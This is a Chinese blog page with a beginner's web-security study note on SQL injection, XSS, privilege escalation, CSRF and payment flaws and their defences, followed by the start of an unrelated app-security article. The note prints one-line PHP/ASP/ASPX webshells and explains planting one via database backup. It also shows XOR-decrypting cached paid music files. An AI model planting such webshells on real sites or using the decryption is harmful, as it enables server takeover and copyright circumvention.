精华内容
下载资源
问答
  • 最近开始学习网络安全相关知识,接触了好多新术语,感觉自己要学习的东西太多,真是学无止境,也发现了好几个默默无闻写着博客、做着开源的大神。准备好好学习下新知识,并分享些博客与博友们一起进步,加油。非常...

    最近开始学习网络安全相关知识,接触了好多新术语,感觉自己要学习的东西太多,真是学无止境,也发现了好几个默默无闻写着博客、做着开源的大神。准备好好学习下新知识,并分享些博客与博友们一起进步,加油。非常基础的文章,大神请飘过,谢谢各位看官!

    投票闲谈:
    最后希望大家帮我2019年CSDN博客之星投投票,每天可以投5票喔,谢谢大家!八年,在CSDN分享了410篇文章,15个专栏,400多万人次浏览,包括Python人工智能、数据挖掘、网络爬虫、图象处理、网络安全、JAVA网站、Android开发、LAMP/WAMP、C#网络编程、C++游戏、算法和数据结构、面试总结、人生感悟等。当然还有我和你的故事,感恩一路有你,感谢一路同行,希望通过编程分享帮助到更多人,也希望学成之后回贵州教更多学生。因为喜欢,所以分享,且看且珍惜,加油!等我四年学成归来~

    投票地址:http://m234140.nofollow.ax.mvote.cn/opage/ed8141a0-ed19-774b-6b0d-39c3aaf89dde.html?from=singlemessage

    在这里插入图片描述

    下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
    百度网盘:https://pan.baidu.com/s/1dsunH8EmOB_tlHYXXguOeA 提取码:izeb

    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包


    一.工具&术语

    1.网安术语

    常见安全网站及论坛:

    • 看雪(https://bbs.pediy.com/)
    • 安全客(https://www.anquanke.com)
    • freebuf(https://www.freebuf.com/)
    • 安全牛(https://www.aqniu.com/)
    • 安全内参(https://www.secrss.com/)
    • 绿盟(http://www.nsfocus.com.cn/)
    • 先知社区(https://xz.aliyun.com/)

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    基础知识:

    风险评估
    1)渗透测试技术:踩点扫描探测、信息收集、暴力解决、漏洞扫描、Web权限获取、Web提权、溢出攻击、植入后门、内网渗透等。
    2)安全漏洞的代码审计和代码加固技术:缓冲区溢出、拒绝服务、远程命令执行、注入、跨站、Web提权。

    安全防护
    1)中间件和Web应用的安全监测与防护方法:框架漏洞、权限绕过、弱口令、注入、跨站、文件包含、文件上传、命令执行、任意文件读取和下载等。
    2)主流厂商网络安全设备的调试与配置;主流数据库系统的补丁、账号管理、口令强度、有效期检查、远程服务、存储过程、审核层次、备份过程、用户功能和权限控制等基础技术;数据库库内库外加密、硬件加密、数据库审计技术;操作系统安全管理、客户端访问控制、入侵检测技术、数据异地灾备等技术。
    3)主机操作系统和应用软件的安全配置、主机运行的应用程序、正常运行所需端口,服务的正确配置,涉及系统安全风险测试、文件系统、关键数据、配置信息、口令用户权限等内容。

    应急响应
    1)应急响应相关技术:入侵取证分析、日志审计分析等。
    2)操作系统常规安全防护技术:利用系统日志、应用程序日志等溯源共计途径,系统账号、文件系统、网络参数、服务、日志审计等项目安全监测与安全加固方法。
    3)网络设备和安全设备的功能及使用方法:路由器、交换机、防火墙、入侵检测系统、拒绝服务供给系统、网页防篡改系统、漏洞扫描系统等。

    安全加固
    1)操作系统(Windows、Linux、Unix、Mac)的常规安全防护技术:利用系统日志、应用程序日志等溯源攻击途径,统账号、文件系统、网络参数、服务、日志审计等项目安全监测与安全加固方法。
    2)Webcms、中间件、数据库等常规用Web应用的加固知识,应用防火墙、IPS、IDS等安全设备进行辅助加固措施。

    大数据安全
    1)云计算和大数据技术带来的安全问题:虚拟机安全、应用程序安全、大数据安全。
    2)大数据分析技术提升网络系统安全隐患发现和防护能力。

    物联网安全
    1)ID/IC卡的安全漏洞检测和发现技术,智能卡常见加密算法。
    2)物联网应用环境中典型安全攻击:RFID攻击等。
    3)无线安全、硬件安全等知识。

    其他
    1)密码学概念、加密算法、加密分析工具。
    2)网络攻击原理及常见网络攻击协议,数据包分析工具。
    3)Web攻击种类及常见的Web利用方式,注入攻击类型及方式。
    4)漏洞产生原因、漏洞的利用与防护方式。
    5)恶意代码、逆向工程、沙箱保护。
    6)移动互联网恶意程序检测与处置机制,移动逆向分析与代码审计技术、移动安全防护。
    7)数据恢复常用技术及工具。
    8)工业控制系统、工控漏洞及加固分析、工控漏洞玩、工控安全仿真及蜜罐、工控系统上位机及应用安全等。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    常见攻击手段:

    • 扫描
    • 爆破
    • 溢出
    • 木马病毒
    • Web攻击
    • 无线攻击
    • VPN劫持
    • Kali攻击
    • MAC泛洪攻击
    • 时钟攻击

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    常见术语:

    • 0day
    • 动态分析、静态分析
    • 逆向分析
    • PE文件
    • 注册回调
    • HOOK技术
    • 注入技术
    • 加壳、脱壳、加花
    • 社会工程学
    • 供应链渗透
    • SAM哈希暴力
    • 彩虹表
    • 数据取证
    • 可信计算

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    下面分享2019年看雪安全峰会的几张图,与君共勉。
    CSDN和看雪都已经20年了,这些年见证了无数技术更新,博友不断成长。


    2.常用工具

    Burpsuite

    Burpsuite是用于攻击web应用程序的集成平台,包含了许多工具。Burpsuite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。通常利用Burpsuite抓包分析,寻找Web漏洞。

    手机APP渗透两种思路:
    (1) 电脑浏览器打开链接,burpsuite抓包,修改user-Agent的内容。一般是判断user-Agent里有没有MicroMessenger(适合没有做重定向,或者重定向不加token验证)。
    (2) 做了重定向,加token验证。手机和电脑同在一个局域网下,设置电脑为手机代理,用burpsuite抓包。设置了电脑代理手机的情况下,电脑相当于一层网关,自然抓取的到。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    Fiddler
    Fiddler是位于客户端和服务器端的HTTP代理,也是目前最常用的http抓包工具之一 。 它能够记录客户端和服务器之间的所有 HTTP请求,可以针对特定的HTTP请求,分析请求数据、设置断点、调试web应用、修改请求的数据,甚至可以修改服务器返回的数据,功能非常强大,是web调试的利器。

    Fiddler是用C#写出来的,它包含一个简单却功能强大的基于JScript .NET 事件脚本子系统,它的灵活性非常棒,可以支持众多的http调试任务,并且能够使用.net框架语言进行扩展。安装前需安装microsoft .net framework可执行文件。

    手机渗透:可以尝试抓取微信浏览器中的结构头,接着通过fiddler的方式,在用第三方(360、QQ、谷歌等)打开的时候,所有数据都会经过fiddler,将该结构修改即可。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    SQLMAP
    SQLMAP是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    OllyDbg
    OLLYDBG是一个新的动态追踪工具,将IDA与SoftICE结合起来的思想,Ring 3级调试器,非常容易上手,己代替SoftICE成为当今最为流行的调试解密工具了。同时还支持插件扩展功能,是目前最强大的调试工具。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    IDA Pro
    交互式反汇编器专业版(Interactive Disassembler Professional),是目前最棒的一个静态反编译软件,为众多0day世界的成员和ShellCode安全分析人士不可缺少的利器。IDA Pro是一款交互式的,可编程的,可扩展的,多处理器的,交叉Windows或Linux WinCE MacOS平台主机来分析程序, 被公认为最好的花钱可以买到的逆向工程利器。IDA Pro已经成为事实上的分析敌意代码的标准并让其自身迅速成为攻击研究领域的重要工具。它支持数十种CPU指令集其中包括Intel x86,x64,MIPS,PowerPC,ARM,Z80,68000,c8051等等。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    pangolin
    Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行Sql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec)旗下的网站安全测试产品之一。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    Caidao
    Caidao软件据说是一个桂林退役士兵写的,真的很厉害。它是一款Webshell管理工具,支持各种语言,常见的包括ASP、ASPX、PHP、JSP、CFM等,后面希望自己也能深入研究攻防底层内容。目前,Caidao已经被中国蚁剑和冰蝎Behinder取代。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    中国蚁剑
    中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。中国蚁剑采用了Electron作为外壳,ES6作为前端代码编写语言,搭配Babel&Webpack进行组件化构建编译,外加iconv-lite编码解码模块以及superagent数据发送处理模块还有nedb数据存储模块,组成了这个年轻而又充满活力的新一代利器。

    它包括的功能有端口扫描、Socks代理、反弹Shell、内网漏洞扫描、内网代理浏览器、内网漏洞溢出测试、后门扫描、密码爆破、打包下载、交互式终端、权限提升。
    GitHub上蚁剑搜AntSword:https://gitee.com/mirrors/antSword

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    冰蝎Behinder
    地址:https://github.com/rebeyond/Behinder

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++

    差异备份

    数据备份主要分位完全备份、增量备份和差异备份。其中差异备份是指备份自上一次完全备份之后有变化的数据,在差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,即备份后不标记为已备份文件,不清除存档属性。

    整体流程是先备份日志,然后插入一句话Muma;再次备份时,数据库只会备份两次间隔中的差异,使得生成出来的文件尽可能小,故称为“差异备份”。

    一句话木马是:

    <?php substr(md5($_REQUEST[*x*]),28)==*acd0*&&eval($_REQUEST[*abc*]);?>
    

    一句话木马插入到数据库表的a字段中,执行接收自定义Sh参数,类似于URL的Code参数,相当于是一个侧门,第二部分Caidao会使用到。

    asp:
       <%execute(request("value"))%>
    php:
       <?php @eval($_POST[value]);?>
    aspx:
       <%eval(Request.Item["value"])%>
    

    3.推荐文章

    看雪 渗透入门——HackInOS
    HackinOS是一个渗透靶机,模拟真实的渗透环境,方便我们练习渗透方法。

    CSDN鬼手56大神网络安全6个专栏文章
    开源一个自写的病毒技术工具:https://blog.csdn.net/qq_38474570/article/details/87707942

    CSDN谢公子大神安全专栏

    CSDN刘焕勇大神老师NLP、知识图谱系列文章
    自然语言处理界的小螺丝钉:https://blog.csdn.net/lhy2014/article/details/82954509
    Github:https://github.com/liuhuanyong

    博客园sch01ar大神逆向工程的文章
    实验吧CTF题库-WEB题(部分): https://www.cnblogs.com/sch01ar/p/7996159.html

    CSDN博友whatiwhere逆向工程文章
    IDA Pro使用初探:https://blog.csdn.net/whatiwhere/article/details/81610539
    逆向基础知识:https://blog.csdn.net/whatiwhere/article/details/80158293

    CSDN博友caiqiiqi大神的Android Q逆向文章
    逆向初体验之玩“英语趣配音”:https://blog.csdn.net/caiqiiqi/article/details/47832473

    黑客是怎样入侵你的网站的 - Flamingo大神
    http://www.freebuf.com/articles/web/7359.html

    看雪论坛Web普及文章
    勒索病毒WannaCry深度技术分析:https://bbs.pediy.com/thread-217662.htm
    Web基础设施知识及安全攻防:https://bbs.pediy.com/thread-199199.htm
    Discuz!ML V3.2代码执行漏洞复现:https://bbs.pediy.com/thread-252603.htm
    内网渗透小记:https://bbs.pediy.com/thread-192778.htm


    二.常见攻击

    感谢汤神的分享,推荐大家阅读下面两篇原文,这里主要是学习看雪论坛分享的知识,也作为自己网络安全的入门文章,如果读者觉得这部分不好或侵权,作者可以删除。

    浅析WEB安全编程:https://bbs.pediy.com/thread-222922.htm
    XSS跨站总结:https://bbs.pediy.com/thread-196518.htm

    代码注入、CSRF、0元支付、短信轰炸这些都是非常常见的漏洞,这里简单解释这些名词。

    1.SQL注入

    汤神从漏洞成因,攻击方式以及防御方案三个方面讲解SQL注入。漏洞成因我们可以用这两句话,使用用户参数拼接这个SQL语句,这个参数改变了原有的SQL结构,改变了这个SQL的注入。
    下图左边这是一个数据库,白色部分的字体是我们在代码中写到的SQL结构,黑色部分就是攻击者可能会传入的参数(‘1’='1’始终成)。当我们把这个SQL结构拼接出来之后形成了一个新的结构,这个结构被执行之后把整张表所有的数据传输出来,数据库比较大的访问更多请求,整个可能就挂了,还造成一些数据泄漏的情况,这些就是SQL的注入成因,参数改变了原有的SQL结构。

    攻击者通常有哪几种攻击方式?
    汤神把它分为了三种类型:一种是回显注入,一种是报错注入,一种是盲注。

    回显注入
    利用注入漏洞可以改变页面返回数据,则称之为回显注入。
    第一张图是传入ID是正常的正型数字,返回的结果是用户的一个信息传入ID等于1,上面URL把这个参数修改了一下,等于1,然后加了 or 1=‘1,当它拼接到之后,跟前面一样把整个表的数据传输出来,这边看到整个用户表的数据都被列举出来了。利用漏洞可以改变这个页面的数据我们叫做回显注入,这个黑客可以直接把这个数据下载下来。

    报错注入
    下图非常清楚看到,URL上面这个部分是正常URL加上攻击者所利用的攻击代码。其实这上面的攻击代码也是执行不了,但放到数据库中,最后会造成数据库返回异常码,并把异常码抛出来,接着这个用户名(act_admin 10.59.107.125)就被展示出来了。这是非常敏感的信息,我们写代码的时候需要把数据库抛出来的错误屏蔽,不让其在前台显示出来,通过报错显示了一些敏感信息,我们称之为报错注入。

    盲注
    盲注和回显注入以及报错注入不一样,我们没有办法通过页面数据看到它的区别。可以通过两种方式实现盲注——布尔盲注和时间盲注。下图中绿色部分是正常URL,红色部分是布尔注入的表示式,前面加一个and截取一个字符,判断一下id的第一个字符是不是大于字母a。
    如果成立则整个条件都成立,这个时候页面是有反馈数据的;如果不成立这个页面就不返回数据,这就是布尔数据。我们可以看到有数据和没有数据的情况,当字母a不断变换的时候,也可以把这个数据库里面的数据猜测出来。

    时间盲注是下面蓝色区域部分,我们知道数据库里面可以用一些IF函数,也是截取第一个字符,如果这个不成立就到五秒钟返回,通过这个页面返回的时间可以判断这个地方是不是有注入的,也可以把这个数据都给下载下来。

    刚刚说到攻击者碰到的三种攻击方式,下面看一下怎么样检测页面当中有没有注入点?我们通过SQLMAP实现,可以看到这是一个CMD窗口,上面是写到的检测表达式,Splmap.py以及需要检测的UI,需要有这个注册点它会告诉你有哪些注入,比如说这个页面是在本地测试的结果,它就告诉了有回显注入、错误注入以及一些盲注。

    SQLMAP用法推荐秀璋的另一篇文章:[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法

    呢么,怎么样防范服务器的安全呢?

    第一种方法是拦截带有SQL语法的参数的传入。参数会改变SQL的结构,当我们知道这个参数是整型的时候,就把这个参数转型为整型,整型肯定不包括这个SQL结构,无法改变结构,哪就不存在SQL注入。

    第二种方法是通过预编译处理拼接参数的SQL语句。有的时候我们无法预测它传什么参数,比如我们去论坛回复一个帖子,肯定没有办法控制,这个时候我们可以用PDO预处理,这是最常见的方法,也是一个最好的方法。但有时我们会写一些复杂社会语句,会用第一种方法,我们先定义好这个SQL语句结构,再把参数放进去,这个时候是无法达到更改SQL语句处理的目的。

    第三个方法是定期分析数据库执行日志,判断是否有异常SQL执行。当业务比较大的时候,日志是非常多的,可以找一些SQL的取模软件进行取模,取模之后并不太多,如果直接看的话是海量日志,是没法看的。


    2.XSS跨站

    跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    主要从漏洞成因、攻击场景和防御方法三方面讲解。

    如上图所示,上面有一个URL,下面是一个页面返回的HTML代码,我们可以看到白色部分HTML是我们事先定义好,黑色部分参数是用户想搜索的关键词。当我们搜索了test+Div最后等于123,对后反馈页面一般搜索会告诉你用户搜索了什么关键词,结果如何等等。

    这个地方如果没有做好转移,可能会造成XSS跨站,我们可以看到蓝色部分是我们事先定义好的结构,被攻击者利用之后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未经过安全过滤,然后恶意角本被放到网页当中执行,用户浏览的时候执行了这个脚本。

    漏洞原因即为:

    XSS分为三种类型——反射型、存储型以及DOM型。

    反射型
    下图是专门训练一些WEB漏洞的练习页面,我们可以输入自己的名字,输入之后会把我们的名字显示出来。例如我们输入了一个“张三”,这个时候弹出来了一个“123”,在那边显示了一个张三,但是script标签没有出来,因为这个标签被执行了。

    存储型
    在存储型XSS中,可以看到这个URL上面并没有代码,但是依然弹出了一个“1”。它是发现个人资料页的时候有一个XSS漏洞,在个性签名的位置填入了一个XSS标签,弹出了一个“1”,把这个地址发给别人,别人看到这个地址并没有什么代码以为这个页面是安全的,结果一打开就插入了这个XSS代码。

    存储型XSS的攻击危害比较大,因为它的页面当中是看不到这个Script的代码,别人防不胜防。只要管理员没有发现,下一个用户或者下一个用户一直接发它,而反射型需要用户主动点击的。

    DOM型
    Dom型的XSS是一些有安全意识的开发者弄出来的。比如说接受参数会做一些过滤,把一些字符转义一下,但是转义之后依然会存在着XSS的情况,比如说下图中,我们上面输入的可以看到这行代码规律,把这个大括号、小括号以及双页号进行转移,按理说转移之后它应该不会再作为它的标签存在,不会存在XSS的代码。

    下面Script通过ID获得的这个值,复制到了这个DIV上,经过DOM操作之后,之前转义的字符就变为它的标签,所以经过DOM操作的XSS我们称之为DOMXSS。它有可能通过URL传播,也有可能通过服务器的传播。

    最后给出一些编码的防范措施。

    第一是标签黑白名单过滤。有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。

    第二是代码实体转义。只保留文字部分这是一劳永逸的,有时我们还是需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。

    第三是httponly防止cookie被盗取。一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息的。对于用户来说也是非常好的保护。比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。

    如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击


    3.越权漏洞

    我们再来看看越权漏洞,在一些系统当中如果存在着多种用户角色,每一种角色有不同的权限。操作业务适合如果权限不严格可能会发生越权漏洞。越权分为垂直越权和平行越权,其产生原因包括:
    1)业务系统存在用户权限验证
    2)对用于的权限验证不严谨
    3)用户能操作不属于自己权限的操作

    平行越权
    在WEB系统中有商城,这个商城中必不可少的就有订单,订单肯定有一个店铺ID,我们通常把它设置为一个自增长的ID,这个ID是一个数字类型。在URL上面如果有一个订单ID就是100,攻击者会尝试100+1,当它ID等于101或者99的时候能否访问到。

    如果能访问到并且这个订单信息不是我的,这个地方就存在着一个漏洞。张三可以看到李四的订单信息,这个时候就存在着越权。张三和李四是平级的用户,他们两个权限是一样,互相可以看到平台信息这叫做平行越权。

    这个有什么危害呢?
    比如说这个网站有漏洞,如果是竞争对手他就可以知道用户在我的平台上下过订单的行为,然后去营销。如果把这个订单ID直接暴露出来,还有一种可能就是竞争对手会根据我们的订单IP的增长量,判断我们的增长量,就知道我们一天到底有多少订单。

    平行越权防御方法:我们查询的时候必须加上当前用户的ID,就是orderID加上UID,这样不会出现张三可以看到李四的订单了。

    垂直越权
    接下来我们再看一下垂直越权,这是一个普通用户进入到后台管理系统中,他的权限就扩大化了。通常这种情况下,后台会集成到更多的控制器来统一管理,但依然有一些邮件会漏掉并没有集成到,就会发生这种情况。

    黑客不会一个一个找,会通过一些扫描器发现漏洞进去。建议不要把自增长ID暴露出来,可以做对称加密或者非对称加密,先转换为一个字母类型,让别人看不到你的数字型的ID是多少。别人就没有办法通过这个加一减一的方式越权,也看不到你的一天业务增长量。

    汤神建议尽量把前台的方法和后台的方法区分开来。越权,其实不仅仅限于展示,我们刚刚看到了这个订单,张三可以看到李四的订单信息是查看,但是有的时候我们修改订单的时候也会出现这个问题,所以在读写的时候都需要注意一下这个越权的问题。


    4.CSRF跨站请求伪造

    CSRF通常会配合XSS使用。服务端错把浏览器发起的请求当成用户发起的请求,会造成XSS问题。比如说我打开了张三的网站,登陆了一个用户信息,李四网站上有一个攻击代码,向张三这个网站发起请求,张三的网站会以为你本人发起的请求,实际上是浏览器发出的请求。
    产生原因为:
    1)服务端错把“浏览器发起的请求”当成“用户发起的请求”
    2)已登录的浏览器,打开恶意网址后,被执行了相应操作

    下图中有一个表单,左边是它的源码,我们可以看到表单每一项都在,但是从安全的角度上考虑它是少了一样东西,没有一些验证码或者TOKEN等等相关信息。服务端如果没有验证这个问题,就会造成这个CSRF的攻击。

    如何检测我们的系统当中是否存在这个CSRF?
    1)去掉token参数尝试能够正常请求
    2)去掉referer是否可以提交成功
    3)是否能用GET提交替代POST提交

    如果以上都存在,那么它就存在CSRF。建议一定要验证Reeferer信息、Token验证、图片验证码等。根据业务安全等级越高,最基础的可以用这个refefe验证,再高一级就是token,再高一级就是图片验证。


    5.支付漏洞

    最后看看支付漏洞。汤神之前看到一个新闻,有一个浙江老板,他想做线上找人做了一个网站,这个网站存在着一些支付漏洞,一周之后他发现这个订单量极速上升,卖了70多万,结果看了一下帐户余额只有几千块钱,报警之后才查到原因,但是货物已经发出去了。

    支付漏洞主要产生的原因包括:
    1)开发者在数据包中传递支付的金额
    2)后端没有对金额做校验或者签名
    3)导致攻击者可以随意篡改金额提交

    造成这些漏洞原因有很多,比如说支付金额是由前端提交的数据,不是后端计算的,而且没有对这个金额做校验,直接信任前端提交的金额,导致这个攻击者可以随即修改这个金额,比如修改为一分钱,这是非常典型的可以随意更改这个金额。
    上面的金额是94元,这个表单里面改为一分钱,最后提交的时候是一分钱,这是非常好的漏洞,也是非常典型的。

    修改数量:

    还有一个问题是数量的限制,一个价格是26元,一个是27元,把这个数量变为负一之后,一提交变为一块钱了。这是之前数据包的漏洞,他充值了一块钱,他发现有一个数据包向网站发送,他就把这个数据包反复重放,就加了好几次,实际上只充值了一块钱。

    如何防范?
    可以限制这个低价购买产品,比如说负数的时候肯定不行,等于零的商品根据业务情况也是需要多注意的。限制免费商品获得金钱和积分的情况,有一些商品免费,但是它可以获得一些积分,那就存在着刷积分的情况。

    最后给出了汤神此次分享的思维导图。

    PS:真心感激自己要学习的知识好多,也有好多大神卧虎藏龙,低调加油,一起进步~


    三.音乐异或解密示例

    接下来复现CSDN“鬼手56”大神的文章,他的网络安全、Crackme、病毒分析、软件逆向等系列文章真心推荐大家学习,包括他开源的项目,他的文章我都准备all in。

    顺便补充我俩的对话,一句“今天最开心的是就是看到你的这条评论”道出了多少程序员的纯真和可爱,分享知识和开源代码的路上,真需要你我的点赞。电脑前的你我,一路同行。

    参考原文:https://blog.csdn.net/qq_38474570/article/details/87878235


    我们打开PC端某音乐客户端,比如想下载周杰伦的“骑士精神”,通常需要提示付费。

    此时点开设置,选中“下载设置”,找到缓存文件目录。
    C:\Users\yxz\AppData\Local\Netease\CloudMusic\Cache\Cache

    双击播放该歌曲,然后按照寻找最新的文件或只保留一首歌,其中后缀名为“.uc”的最大文件就是加密过后的文件。

    接在将文件拖动到010 Editor软件,如下图所示:它是一个加密文件,最多的数据是A3,鬼手大神成果的预测其是加密后的无意义0,通常音频的加密方式不会太复杂,而最简单的异或加密(可逆)。

    接着点开菜单,Tools(工具),将其转换为“十六进制”,进行“二进制异或”操作,修改数据为无符号十六进制,并对A3进行异或即可。

    注意选择无符号(Unsigned Byte)和异或A3。

    异或加密解密:

    A3 ⊕ A3 = 00

    A 01100001  3  00000011
    A 01100001  3  00000011
    0 00000000  0  00000000
    

    文件解密如下所示,其中A3变换为00,解密完之后的字符变得有意义。前三个字节是ID3,这个是MP3文件格式的头部。

    最后将文件重命名为“.mp3”,此时可以听歌了,“骑士精神”走起。

    PS:这是一个简单的加密过程,推荐读者们下载正版歌曲,共同维护版权和绿色网络环境。同时,异或加密音乐已经很多年了,希望这些开发公司优化下加密算法,解决这个漏洞。这篇文章更希望分享加密的过程给读者。


    四.总结

    希望这篇基础性文章对你有所帮助,如果有错误或不足之处,还请海涵。后续将分享更多网络安全方面的文章了,从零开始很难,但秀璋会一路走下去的,加油。

    故人应在千里外,
    不寄梅花远信来。
    武汉第一周学习结束,寄了第一封家书给女神,接下来这几年,应该会写上200来封吧,很期待,也很漫长,但我俩的故事将继续书写。

    未来的路还很长,优秀的人真的太多,我们只有做好自己,不忘初心,享受生活,砥砺前行。明天周末继续奋斗,晚安娜,记得收信。

    (By:Eastmount 2019-07-31 周三晚上7点写于武大 https://blog.csdn.net/Eastmount )


    2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

    展开全文
  • React Native Image使用网络图片

    千次阅读 2017-09-28 16:53:37
    中文网的示例引用图片有两种形式。使用网络图片时,图片无法显示,占据了位置,显示的是空白。

    中文网的示例引用图片有两种形式。使用网络图片时,图片无法显示,占据了位置,显示的是空白。

    <Image style={styles.icon} source={require('./icon.png')} />
    <Image style={styles.logo} source={{uri:'http://facebook.github.io/react/img/logo_og.png'}}/>

    看英文文档,安全显示,图片服务器是http请求导致的问题,非https的地址需要更改App Transport Security,Allow Arbitrary Loads设为yes即可这里写图片描述

    展开全文
  • App安全网络传输安全

    千次阅读 2016-12-05 09:09:30
    App安全网络传输安全

    http://ios.jobbole.com/84633/

    移动端App安全如果按CS结构来划分的话,主要涉及客户端本身数据安全,Client到Server网络传输的安全,客户端本身安全又包括代码安全和数据存储安全。所以当我们谈论App安全问题的时候一般来说在以下三类范畴当中。

    • App代码安全,包括代码混淆,加密或者app加壳。
    • App数据存储安全,主要指在磁盘做数据持久化的时候所做的加密。
    • App网络传输安全,指对数据从客户端传输到Server中间过程的加密,防止网络世界当中其他节点对数据的窃听。

    这一篇我们先聊下网络传输的安全。

    安全相关的基础概念

    网络安全相关的概念非常之多,要在广度和深度上都有所造诣很困难。但如果只是站在保障App通信基本安全这个维度上,做到合理使用安全算法,比大部分人所预期的都要简单很多。以下这些基础概念是必备知识:

    • 对称加密算法,代表算法AES
    • 非对称加密算法,代表算法RSA,ECC
    • 电子签名,用于确认消息发送方的身份
    • 消息摘要生成算法,MD5,SHA,用于检测消息是否被第三方修改过

    怎么样算安全?

    安全问题说白了是信任问题,谈到信任一定要有一个可被信任的实体。假设某天A收到了一条“Message”,如果这个消息确实是来自B,消息就可以被信任,那么B就这安全问题当中可被信任的实体。

    对于A来说只要满足三点就说明收到“Message”是安全的:

    • Message有B的电子签名,表明消息确实是来自B。
    • Message没有被篡改过。
    • Message被某种加密算法加密过,只有A和B知道如何解密。

    A和B的交谈如果放到网络世界当中,就是典型的Client-Server模式。和现实世界当中聊天不同的是,A和B所说的任何话都可以轻而易举的被其他人听到,隔墙随处有耳。

    怎么去保证App网络传输的安全?

    为了保证传输数据的安全,需要使用加密算法。在决定什么样的业务场景使用什么样的加密算法之前,先要了解我们的工具箱里有哪些可用工具。加密算法的工具箱里其实就两种工具:“对称”加密算法和“非对称”加密算法。清楚这两个分类是合理设计加密算法使用场景的大前提,两个分类里我们各挑选一个代表算法来研究,“对称”加密挑选AES,“非对称”加密选择RSA。了解AES和RSA之后我们再针对一些特定业务场景设计安全模型。

    对称加密之AES

    要深入了解像AES这种加密算法,对大部分初学的同学来说可能有些费时费力,但对算法掌握可以是个循序渐进的过程。简单来说可以分为以下几个阶段:

    阶段一:
    在AES诞生之前(1975年之前),早起的加密算法十分简单,是一种类似“暗号”的机制。通信的双方通过事先约定一种“加密机制”对明文进行处理,只要“加密机制”不被泄漏,信息就算安全。后来无数的经验表明算法总是会被第三方得知,对算法本身进行保密管理也不方便。

    阶段二:
    到上世纪70年代,公众和政府意识到加密算法的重要性,由美国政府机构NBS牵头组织业界专家设计了DES算法。DES算法本身公开,但算法的安全全依赖于一个密钥。后来DES统治加密算法长达二十多年。不过DES从诞生到逐步退出历史舞台,一直都伴随着阴谋的论调。DES原本是由IBM提出,针对已有算法Lucifer改造而成,但DES制定的过程一直都有美国另一政府机构NSA的影子。

    DES的两大特点是短密钥(short key)和结构复杂的s-box。有研究表明,是NSA当时劝说IMB短密钥足够安全,而且NSA也直接参与了s-box的设计。后来就一直有传言说NSA似乎有办法能轻易破解DES加密后的秘文。

    到1990年,剧情出现反转。第三方独立研究者Eli Biham和Adi Shamir发布了破解块加密方式的通用破解方法differential cryptanalysis。出人意料的是按照NSA建议设计的s-box对这种破解方法有更好的免疫性,NSA的参与似乎更加提高了DES的安全性。

    到1994年,剧情进一步升华。公开文件披露,早在1974年IBM的研究者就已经发现了differential cryptanalysis这种破解方式,不过这项研究被NSA禁止公开,理由是会威胁到国家安全,对,就是现在美剧里经常提到的national security。不仅如此,NSA还针对DES做了一些改造加强安全性。至此,NSA已经全身都挂满了节操,被业界质疑忍辱负重二十多年一声没吭,比24小时男主角Jack Bauer形象更加高大光辉。

    阶段三:
